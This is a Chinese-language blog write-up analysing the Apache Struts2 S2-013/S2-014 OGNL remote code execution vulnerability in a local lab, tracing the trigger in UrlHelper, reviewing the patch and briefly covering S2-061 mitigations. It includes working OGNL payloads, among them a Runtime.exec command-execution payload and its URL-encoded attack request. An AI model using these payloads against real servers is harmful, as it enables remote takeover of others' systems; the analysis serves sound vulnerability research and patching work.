S2-013 远程代码执行漏洞检测与利用

本文深入分析Struts2框架中的S2-013漏洞,探讨其触发机制及修复过程。通过环境搭建、payload构造、代码跟踪,揭示OGNL表达式执行的根本原因。

前言

S2-014是对于S2-013修复不完整的造成的漏洞,会在漏洞分析中提到,所以文本的主要分析的还是S2-013

而且在分析的时候,发现参考网上资料时对于漏洞触发逻辑的一些错误 至少目前我自己是那么认为的:)

漏洞环境根据vulhub修改而来,环境地址 https://github.com/kingkaki/Struts2-Vulenv,感兴趣的师傅可以一起分析下

若有疏漏,还望多多指教

漏洞信息

https://cwiki.apache.org/confluence/display/WW/S2-013

struts2的标签中 <s:a> 和 <s:url> 都有一个 includeParams 属性,可以设置成如下值

  1. none - URL中包含任何参数(默认)
  2. get - 仅包含URL中的GET参数
  3. all - 在URL中包含GET和POST参数

includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。

此时<s:a> 或<s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行

漏洞利用

不妨先来看下index.jsp中标签是怎么设置的

<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>

然后来测试一下最简单payload ${1+1}(记得编码提交 :)

http://localhost:8888/link.action?a=%24%7B1%2b1%7D

就可以看到返回的url中的参数已经被解析成了2

然后命令执行的payload

${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}

编码后提交

http://localhost:8888/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%2bnew%20java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D

漏洞分析

网上关于S2-013的分析将它的形成归结于

这里我先说明两点

  • 我分析时的漏洞环境种xwork-core的版本是2.2.3,DefaultUrlHelper.class中的类全部在UrlHelper.class,但是代码逻辑并没有更改
  • 至于漏洞究竟是哪里触发的,可以根据弹出计算器在哪弹出来确定究竟是哪里触发的

我们可以从一开始的struts2-core-2.2.3.jar!/org/apache/struts2/components/Anchor.class:64中这两句开始关注

this.urlRenderer.beforeRenderUrl(this.urlProvider);
this.urlRenderer.renderUrl(sw, this.urlProvider);

第一句是返回url之前的一些处理,第二句是返回url,从第一句开始打下断点,然后跟进去

果然还是来到了struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:240parseQueryString方法

但是可以看到,即使过了网上说的这个触发点,计算器依旧没有弹出

String translatedParamValue = translateAndDecode(paramValue);

仅仅是做了一个url编码的过程,然后就返回了,那就继续跟下去吧
最后做完了url的一些预先处理,又回到了之前下断点的下一句

step into进去之后来到了struts2-core-2.2.3.jar!/org/apache/struts2/components/ServletUrlRenderer.class:39

public void renderUrl(Writer writer, UrlProvider urlComponent) {
    String scheme = urlComponent.getHttpServletRequest().getScheme();
    if (urlComponent.getScheme() != null) {
        scheme = urlComponent.getScheme();
    }

    ActionInvocation ai = (ActionInvocation)ActionContext.getContext().get("com.opensymphony.xwork2.ActionContext.actionInvocation");
    String result;
    String _value;
    String var;
    if (urlComponent.getValue() == null && urlComponent.getAction() != null) {
        result = urlComponent.determineActionURL(urlComponent.getAction(), urlComponent.getNamespace(), urlComponent.getMethod(), urlComponent.getHttpServletRequest(), urlComponent.getHttpServletResponse(), urlComponent.getParameters(), scheme, urlComponent.isIncludeContext(), urlComponent.isEncode(), urlComponent.isForceAddSchemeHostAndPort(), urlComponent.isEscapeAmp());
    } else  ...

真正触发漏洞在这一个语句里面,不妨跟进去看一下

来到了struts2-core-2.2.3.jar!/org/apache/struts2/components/Component.class:198

继续跟进最后一行的那个函数

来到了struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:49buildUrl函数中

前面做了一些url的处理,添加一些http(s)://之类的前缀,来到后面之后,116行有这样一句

if (escapeAmp) {
    buildParametersString(params, link);
}

这里才是真正的开始build参数

继续step into之后struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:139

public static void buildParametersString(Map params, StringBuilder link, String paramSeparator) {
        if (params != null && params.size() > 0) {
            if (link.toString().indexOf("?") == -1) {
                link.append("?");
            } else {
                link.append(paramSeparator);
            }

            Iterator iter = params.entrySet().iterator();

            while(iter.hasNext()) {
                Entry entry = (Entry)iter.next();
                String name = (String)entry.getKey();
                Object value = entry.getValue();
                if (value instanceof Iterable) {
                    Iterator iterator = ((Iterable)value).iterator();

                    while(iterator.hasNext()) {
                        Object paramValue = iterator.next();
                        link.append(buildParameterSubstring(name, paramValue.toString()));
                        if (iterator.hasNext()) {
                            link.append(paramSeparator);
                        }
                    }
                } else if (value instanceof Object[]) {
                    Object[] array = (Object[])((Object[])value);

                    for(int i = 0; i < array.length; ++i) {
                        Object paramValue = array[i];
                        link.append(buildParameterSubstring(name, paramValue.toString()));
                        .....

取出参数值之后放入了一个数组中,再经过了buildParameterSubstring方法

buildParameterSubstring方法就在这段代码后面

private static String buildParameterSubstring(String name, String value) {
    StringBuilder builder = new StringBuilder();
    builder.append(translateAndEncode(name));
    builder.append('=');
    builder.append(translateAndEncode(value));
    return builder.toString();
}

也就是这里,这时url解码之后的translateAndEncode(value)才真正的造成了代码的执行,才弹出了计算器

补一段translateAndEncodetranslateVariable的代码,其实就刚才逻辑分析的下面

public static String translateAndDecode(String input) {
    String translatedInput = translateVariable(input);
    String encoding = getEncodingFromConfiguration();

    try {
        return URLDecoder.decode(translatedInput, encoding);
    } catch (UnsupportedEncodingException var4) {
        LOG.warn("Could not encode URL parameter '" + input + "', returning value un-encoded", new String[0]);
        return translatedInput;
    }
}

private static String translateVariable(String input) {
    ValueStack valueStack = ServletActionContext.getContext().getValueStack();
    String output = TextParseUtil.translateVariables(input, valueStack);
    return output;
}

漏洞修复

在S2-013中用于验证的poc为

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}

于是官方就限制了%{(#exp)}格式的OGNL执行,从而造成了S2-014

因为还有%{exp}形式的漏洞,让我们一起看下最终的修补方案

重点自然是放在了DefauiltUrlHlper.class

将之前的translateAndEncode更改成了encode

public String encode(String input) {
    try {
        return URLEncoder.encode(input, this.encoding);
    } catch (UnsupportedEncodingException var3) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", new String[]{input});
        }

        return input;
    }
}

只支持简单的url解码

之前触发的点也将函数换成了decode

https://github.com/vulhub/vulhub/tree/master/struts2/s2-013

https://cwiki.apache.org/confluence/display/WW/S2-013

https://cwiki.apache.org/confluence/display/WW/S2-014

### Struts2 S2-061 远程代码执行漏洞分析 Apache Struts2 是一个广泛使用的 Java Web 开发框架,其设计基于 MVC 架构,提供了强大的标签库和 OGNL 表达式解析功能。然而,在 2020 年 12 月 8 日,Apache Struts 官方披露了 S2-061 远程代码执行漏洞(CVE-2020-17530),该漏洞源于某些标签属性在特定情况下会进行 OGNL 表达式的二次解析,从而导致 OGNL 注入漏洞。攻击者可以构造恶意请求,远程执行任意命令,甚至控制服务器,造成严重安全风险 [^1]。 漏洞的核心在于 Struts2 对某些标签属性(如 `id`)的值进行两次 OGNL 表达式解析。当这些属性值中包含 `%{x}` 形式的内容,且 `x` 的值由用户控制时,攻击者可以注入恶意的 OGNL 表达式,例如 `%{payload}`,从而触发远程代码执行 [^3]。 S2-061 是对之前 S2-059 漏洞的修复绕过。S2-059 的补丁主要修复了沙盒绕过问题,但未完全阻止 OGNL 表达式的执行。S2-061 利用了 `org.apache.commons.collections.BeanMap` 类,该类存在于 `commons-collections-x.x.jar` 包中,而 Struts2 官方最小依赖包并未包含此库。因此,即使存在支持 OGNL 表达式注入的点,若未使用该依赖包,也无法成功利用 [^3]。 ### 漏洞影响范围 S2-061 漏洞影响使用 Apache Struts2 的多个版本,尤其是在使用某些标签属性时存在 OGNL 表达式二次解析的情况。攻击者可以构造特定的请求,利用该漏洞远程执行任意命令,进而控制服务器,造成数据泄露、系统瘫痪等严重后果 [^1]。 ### 修复方案 1. **升级 Struts2 版本**:官方在漏洞披露后发布了修复版本,建议用户尽快升级到 Struts 2.5.26 或更高版本。新版本中对 OGNL 表达式的解析机制进行了改进,避免了标签属性的二次解析问题 [^1]。 2. **避免使用用户输入构造 OGNL 表达式**:在开发过程中,应避免将用户输入直接拼接到 OGNL 表达式中,尤其是标签属性值。应使用安全的输入验证和输出编码机制,防止恶意输入被当作表达式解析 [^3]。 3. **移除不必要的依赖库**:由于 S2-061 的利用依赖于 `commons-collections` 包,因此建议检查项目依赖,移除不必要的 `commons-collections` 版本,以降低攻击面 [^3]。 4. **启用安全模式(沙盒)**:Struts2 提供了安全模式(沙盒)功能,可以在一定程度上限制 OGNL 表达式的执行。建议在配置文件中启用沙盒模式,并限制表达式的执行权限 [^4]。 5. **部署 Web 应用防火墙(WAF)**:为了进一步增强安全性,建议在前端部署 Web 应用防火墙(WAF),对请求进行过滤和检测,识别并拦截包含 OGNL 表达式的恶意请求 [^2]。 ### 示例代码:安全的输入处理 以下是一个简单的示例,展示如何避免将用户输入直接拼接到 OGNL 表达式中: ```java public class SafeInputAction { private String userInput; public String execute() { // 对用户输入进行过滤和转义 String safeInput = escapeUserInput(userInput); // 将安全处理后的输入用于业务逻辑 // ... return "success"; } private String escapeUserInput(String input) { // 实现输入过滤逻辑,如移除特殊字符 if (input == null) { return null; } return input.replaceAll("[^a-zA-Z0-9]", ""); } // Getter 和 Setter public String getUserInput() { return userInput; } public void setUserInput(String userInput) { this.userInput = userInput; } } ``` 在 JSP 页面中,确保标签属性不直接使用用户输入构造 OGNL 表达式: ```jsp <s:textfield name="userInput" label="请输入内容" /> ``` ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值